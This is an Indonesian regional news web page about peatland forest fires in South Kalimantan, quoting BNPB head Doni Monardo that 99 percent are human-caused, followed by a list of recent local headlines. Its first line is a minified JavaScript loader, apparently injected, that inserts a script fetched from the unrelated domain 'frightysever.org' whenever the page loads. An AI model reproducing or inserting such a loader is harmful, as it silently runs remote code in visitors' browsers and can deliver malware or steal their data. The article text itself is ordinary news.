(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

BNPB: 99 Persen Karhutla Ulah Manusia, Saatnya Beri Edukasi tentang Gambut


BANJARBARU, Banyaknya lahan gambut di Kalsel yang terbengkalai masih menjadi persoalan yang sama setiap tahunnya. Selain berpotensi besar terjadinya kebakaran hutan dan lahan (Karhutla), api yang menyala di lahan gambut juga sangat sulit dipadamkan.

Badan Nasional Penanggulangan Bencana (BNPB) bersama Tim Satgas Karhutla di Kalsel hingga kini belum dapat memadamkan titik-titik api yang berada di lahan gambut. Bahkan saat rapat koordinasi, Kamis (19/9) kemarin, Kepala BNPB, Letjen (Pur) Doni Monardo, mengakui meski telah dibuatan hujan buatan pun tidak memastikan api di lahan gambut akan padam.

Doni menjelaskan bahwa gambut merupakan fosil batu bara muda dan habitatnya adalah adalah air. Sehingga menurut sejumlah pakar, sebutan gambut seharusnya diawali dengan kata “Rawa”.

Namun, saat memasuki musim kemarau, habitat rawa gambut akan berubah drastis sehingga berpotensi mudah terbakar. Jika sudah terbakar, maka heli water bombing pun kewalahan memadamkannya. Pun, meski api dipermukaan lahan gambut telah padam, namum api tetap menyala didalam tanah, meluas dan terus menerus mengeluarkan asap.

Maka dari itu, bisa dipastikan kabut asap yang menyelimuti pulau Kalimantan berasal dari kebakaran di lahan gambut.  “Biasanya kalau sudah musim kemarau, rawa gambut akan kering karena tidak ada yang mengelolanya. Kalau api sudah menyala disitu, bisa berbulan-bulan apinya tidak padam. Berapa banyak uang negara untuk memadamkan api di rawa gambut,” kata Doni.

Lantaran di Kalsel memiliki banyak lahan Gambut, Kepala BNPB menyarankan kepada Pemerintah Provinsi Kalsel, untuk memberikan pengetahuan tentang apa itu lahan gambut kepada masyarakat juga anak-anak. Dari hasil penyelidikan di lapangan, BNPB menilai peristiwa Karhutla dikarenakan perilaku manusia.

“Saya melihat bahwa hampir semua lahan yang terbakar itu akhirnya jadi kebun. Itu artinya kebakaran lahan memang disengaja. Analisa saya di lapangan, penyebab Karhutla 99 persen ulah manusia dan 80 persen lahan yang terbakar menjadi kebun. Mereka yang membakar ini sebagian besar dibayar oleh pengusaha,” beber Doni.

Dari data BNPB, luasan lahan gambut di Provinsi Kalsel mencapai 103,556 hektare. Luasan itu belum terhitung dengan lahan gambut yang terindentifikasi.

Perlu diketahui sepanjang tahun 2019 sampai saat ini, luasan area yang terbakar di Kalsel telah mencapai 19,490 hektare. Dari jumlah tersebut, 1.949 hektare diantaranya merupakan lahan gambut. Total luasan ini membuat Provinsi Kalsel, menduduki posisi ke 5 dengan area yang paling luas terbakar setelah NTT, Riau, Kalteng, dan Kalbar. (rico)

Reporter : Rico
Editor : Chell

 


Desy Arfianty

Recent Posts

Buka Peningkatan Kapasitas Kader PKK se-Kabupaten Banjar, Ini Harapan Nurgita Tiyas

KANALKALIMANTAN.COM, MARTAPURA - Ketua Tim Penggerak PKK Kabupaten Banjar Hj Nurgita Tiyas membuka Peningkatan Kapasitas… Read More

3 jam ago

Klaim Restu PKS Turun di Pilwali Banjarmasin, Mukhyar Cari Dukungan Nasdem

KANALKALIMANTAN.COM, BANJARMASIN - H Mukhyar masuk dalam penjaringan bakal calon Wali Kota Banjarmasin di Sekretariat… Read More

4 jam ago

Nongkrong di Eks Lokalisasi Pembatuan, Dua Perempuan Dibawa Satpol PP

KANALKALIMANTAN.COM, BANJARBARU - Satuan Polisi Pamong Praja (Satpol PP) Kota Banjarbaru kembali menggiring dua perempuan… Read More

4 jam ago

Berhasil Ditekan, Angka Stunting 2023 Kabupaten Kapuas 16,20 Persen

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi mengatakan penilaian kinerja pelaksanaan 8… Read More

4 jam ago

Uji Trayek Angkutan Bus Pengumpan di Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Kota Banjarbaru melakukan uji coba trayek atau rute angkutan… Read More

5 jam ago

Mengulang Pertarungan di Pilgub Kalsel, Denny Indrayana Lamar Nasdem

KANALKALIMANTAN.COM, BANJARBARU - Menjelang Pemilihan Kepala Daerah (Pilkada) 2024 di Provinsi Kalimantan Selatan (Kalsel), kandidat… Read More

8 jam ago

This website uses cookies.